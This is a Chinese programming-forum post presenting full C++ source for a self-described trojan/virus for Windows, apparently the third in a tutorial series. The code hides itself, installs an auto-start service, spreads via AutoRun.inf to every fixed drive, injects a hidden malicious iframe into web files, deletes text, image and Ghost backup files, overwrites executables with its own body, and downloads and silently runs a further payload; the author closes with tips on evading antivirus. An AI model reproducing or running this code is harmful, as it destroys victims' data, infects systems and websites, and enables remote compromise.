| 网站首页 | 业界新闻 | 小组 | 交易 | 人才 | 下载频道 | 博客 | 代码贴 | 在线编程 | 编程论坛
共有 1465 人关注过本帖, 1 人收藏
标题:C++设计简单木马第3篇 - (后续第2篇 - 简单感染PE文件与下载者木马)
只看楼主 加入收藏
GodOneisCode
Rank: 1
等 级:新手上路
帖 子:5
专家分:0
注 册:2017-2-2
  问题点数:0  回复次数:0   
C++设计简单木马第3篇 - (后续第2篇 - 简单感染PE文件与下载者木马)
代码与上次改动不大,谢谢观看!
通过3天的改写,简单感染PE文件已经完成。

代码中的这种方法只是感染PE文件中的一种
1. 添加空字节感染
2. 插缝
3. 开辟空间,将自身病毒体添加进去
还有很多感染PE文件的方法,这几个只是常用的几种
这次用的是第3中,应该说是最简单最容易写的。

程序代码:
// C语言设计简单木马雏形第3篇
// 源代码仅供个人研究安全技术, 如违反法律后果自负
// 用于法律以及商业范围与源代码作者无关
// 作者 : GodOneisCode
// 改写时间 : 2周


#include <Stdio.h>     // 用于调用sprintf函数
#include <Winsock2.h>  // 后门
#include <Windows.h>   // 感染与模拟机器狗病毒
#include <Urlmon.h>    // 下载木马并运行
#include <winnt.h>
#pragma comment(lib, "Urlmon.lib")
#pragma comment(lib, "Ws2_32.lib")
#pragma comment(lib, "User32.lib");

void HideWindow();
void InfectAllFiles(char *lpPath);
void WormComputer();
void AutoInfect(char *lpPath);
void EnterService();
void CopyFiles(char *lpPath);
void DownFiles(char Url[]);
void DownExec(char url[]);
void PeInfect(char *lpPath);

// 定义Autorun文件内容
char szAutoRun[] = "[AutoRun] \
\r\nopen=SystemInfo.exe \
\r\nshell\\open=打开(&O) \
\r\nshell\\open\\command=SystemInfo.exe \
\r\nshell\\explore=资源管理器(&X) \
\r\nshell\\explore\\command=SystemInfo.exe \
\r\nshellexecute=SystemInfo.exe \
\r\nshell\\auto\\command=SystemInfo.exe";

// 定义恶意网页代码, 跳转恶意网页
char szWebCode[] = "\r\n<iframe src=http://www.xxpapa.co width=0 height=0></iframe> \
\r\n<img src=图片地址></img>";

int main(int argc, char **argv)
{
    HideWindow();
    EnterService();
    WormComputer();
    DownFiles("http://www.");
    
    return 0;
}

// 隐藏自身窗口
void HideWindow()
{
    HWND hwndDOS = GetForegroundWindow();  
    ShowWindow(hwndDOS, SW_HIDE);
}

// 实现全盘感染
void WormComputer()
{
    for ( char cLabel='C'; cLabel<='Z'; cLabel++ )
    {
        char strRootPath[] = {"C:\\"};
        strRootPath[0] = cLabel;
        
        if ( GetDriveType(strRootPath) == DRIVE_FIXED )
        {
            strRootPath[2] = '\0';
            CopyFiles(strRootPath);
            AutoInfect(strRootPath);
            InfectAllFiles(strRootPath);
        }
    }
}

// 复制自身
void CopyFiles(char *lpPath)
{
    char szFile[MAX_PATH] = { 0 };
    char szCurrDir[MAX_PATH] = { 0 };
    strcpy(szFile, lpPath);
    strcat(szFile, "\\SystemInfo.exe");
    GetModuleFileName(NULL, szCurrDir, MAX_PATH);
    CopyFile(szCurrDir, szFile, FALSE); 
}

// 传播木马
void AutoInfect(char *lpPath)
{

    char szAutoFile[MAX_PATH] = { 0 };
    strcpy(szAutoFile, lpPath);
    strcat(szAutoFile, "\\AutoRun.inf");

    HANDLE hFile = CreateFile(szAutoFile,
        GENERIC_WRITE,
        0, NULL,
        CREATE_ALWAYS,
        FILE_ATTRIBUTE_NORMAL,
        NULL);
    DWORD dwWritten = 0;

    WriteFile(hFile, szAutoRun, lstrlen(szAutoRun),
        &dwWritten, NULL);

    CloseHandle(hFile);
}

// 遍历目录
void InfectAllFiles(char *lpPath)
{
    char szFind[MAX_PATH] = { 0 };
    WIN32_FIND_DATA FindFileData;

    strcpy(szFind, lpPath);
    strcat(szFind, "\\*.*");
    HANDLE hFind = ::FindFirstFile(szFind, &FindFileData);
    if ( INVALID_HANDLE_VALUE == hFind)
        return;

    while ( TRUE )
    {
        if ( FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY )
        {
            if ( FindFileData.cFileName[0] != '.' )
            {
                char szFile[MAX_PATH] = { 0 };
                strcpy(szFile, lpPath);
                strcat(szFile, "\\");
                strcat(szFile, FindFileData.cFileName);
                InfectAllFiles(szFile);
            }
        }
        else
        {
            int len = strlen(FindFileData.cFileName);
            const char *p = (char *)&FindFileData.cFileName[len-3];
            char strFileName[MAX_PATH] = { 0 };
            strcpy(strFileName, lpPath);
            strcat(strFileName, "\\");
            strcat(strFileName, FindFileData.cFileName);
            // 感染网页文件
            if ( _stricmp(p, "html") == 0 || _stricmp(p, "htm") == 0 || _stricmp(p, "asp") == 0
                || _stricmp(p, "aspx") == 0 || _stricmp(p, "php") == 0 || _stricmp(p, "jsp") == 0 )
            {
                HANDLE hFile = CreateFile(strFileName,
                    GENERIC_WRITE,
                    0, NULL,
                    OPEN_ALWAYS,
                    FILE_ATTRIBUTE_NORMAL,
                    NULL);
                DWORD dwWritten = 0;
                WriteFile(hFile, szWebCode, lstrlen(szWebCode),
                    &dwWritten, NULL);
                
                CloseHandle(hFile);
            }
            // 删除其他文件
            else if ( _stricmp(p, "txt") == 0 || _stricmp(p, "bat") == 0 || _stricmp(p, "dos") == 0
                || _stricmp(p, "jpg") == 0 || _stricmp(p, "gho") == 0 )
            {
                DeleteFile(strFileName);
            }
            // 感染可执行文件
            else if ( _stricmp(p, "exe") == 0 || _stricmp(p, "com") == 0)
            {
                PeInfect(strFileName);
            }
        }
        if ( !FindNextFile(hFind, &FindFileData) )
            break;
    }
    FindClose(hFind);
}

// 服务自启动
void EnterService()
{
    char szFileName[MAX_PATH] = { 0 };
    GetModuleFileName(NULL, szFileName, MAX_PATH);

    SC_HANDLE scHandle = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
    SC_HANDLE scHandleOpen = OpenService(scHandle, "door", SERVICE_ALL_ACCESS);

    if ( scHandleOpen == NULL )
    {
        char szSelfFile[MAX_PATH] = { 0 };
        char szSystemPath[MAX_PATH] = { 0 };

        GetWindowsDirectory(szSystemPath, MAX_PATH);
        strcat(szSystemPath, "\\SystemInfo.exe");
        GetModuleFileName(NULL, szSelfFile, MAX_PATH);

        CopyFile(szSelfFile, szSystemPath, FALSE);
        SetFileAttributes(szSystemPath, FILE_ATTRIBUTE_HIDDEN);

        SC_HANDLE scNewHandle = CreateService(scHandle,
            "door",
            "door",
            SERVICE_ALL_ACCESS,
            SERVICE_WIN32_OWN_PROCESS,
            SERVICE_AUTO_START,
            SERVICE_ERROR_IGNORE,
            szSystemPath,
            NULL,
            NULL,
            NULL,
            NULL,
            NULL);
        StartService(scNewHandle, 0, NULL);
        CloseServiceHandle(scNewHandle);
    }
    CloseServiceHandle(scHandleOpen);
    CloseServiceHandle(scHandle);
}

// 模拟机器狗
void DownFiles(char Url[])
{
    // 由于此代码杀伤力太大,所以不公开代码,邮箱384416968@
}

// 下载木马
void DownExec(char FileUrl[])
{
    char SystemBuff[256], File[256];
    memset(File, 0, 256);

    GetWindowsDirectory(SystemBuff, sizeof(SystemBuff));
    sprintf(File, "%s\\Down.exe", SystemBuff);

    URLDownloadToFile(0, FileUrl, File, 0, 0);
    WinExec(File, SW_HIDE);
}

// 简单感染PE文件
void PeInfect(char *lpPath)
{
    HANDLE hFile = NULL;
    HANDLE hPeFile = NULL;
    DWORD dwSize;
    DWORD dwRet = 204800;
    BYTE uSize[204800];
    // 获取自身路径及名称
    TCHAR szFile[MAX_PATH] = { 0 };
    GetModuleFileName(NULL, szFile, MAX_PATH);
    // 打开自身病毒体
    hFile = CreateFile(szFile,
        GENERIC_READ | GENERIC_WRITE,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL, OPEN_EXISTING,
        FILE_FLAG_SEQUENTIAL_SCAN,
        NULL);
    if ( hFile == NULL )
    {
        return;
    }
    // 打开目标文件
    hPeFile = CreateFile(lpPath,
        GENERIC_READ | GENERIC_WRITE,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL, OPEN_EXISTING,
        FILE_FLAG_SEQUENTIAL_SCAN,
        NULL);
    if ( hPeFile == NULL )
    {
        return;
    }
    // 开辟空间大小为204800字节
    SetFilePointer(hPeFile, 0, 0, FILE_BEGIN);
    ReadFile(hPeFile, uSize, dwRet, &dwSize, NULL);
    SetFilePointer(hPeFile, 0, 0, FILE_END);
    WriteFile(hPeFile, uSize, dwRet, &dwSize, NULL);

    // 读取自身病毒体内容
    SetFilePointer(hFile, 0, 0, FILE_BEGIN);
    ReadFile(hFile, uSize, dwRet, &dwSize, NULL);

    // 感染目标文件
    SetFilePointer(hPeFile, 0, 0, FILE_BEGIN);
    WriteFile(hPeFile, uSize, dwRet, &dwSize, NULL);

    CloseHandle(hFile);
    CloseHandle(hPeFile);
}


木马基本完结,如果要免杀还需要许多方面的考虑,例如绕过主动防御,加壳,修改特征码等。
搜索更多相关主题的帖子: 源代码  C语言  法律  技术  空间  
2017-02-08 14:02







关于我们 | 广告合作 | 编程中国 | 清除Cookies | TOP | 手机版

编程中国 版权所有,并保留所有权利。
Powered by Discuz, Processed in 0.034478 second(s), 9 queries.
Copyright©2004-2019, BCCN.NET, All Rights Reserved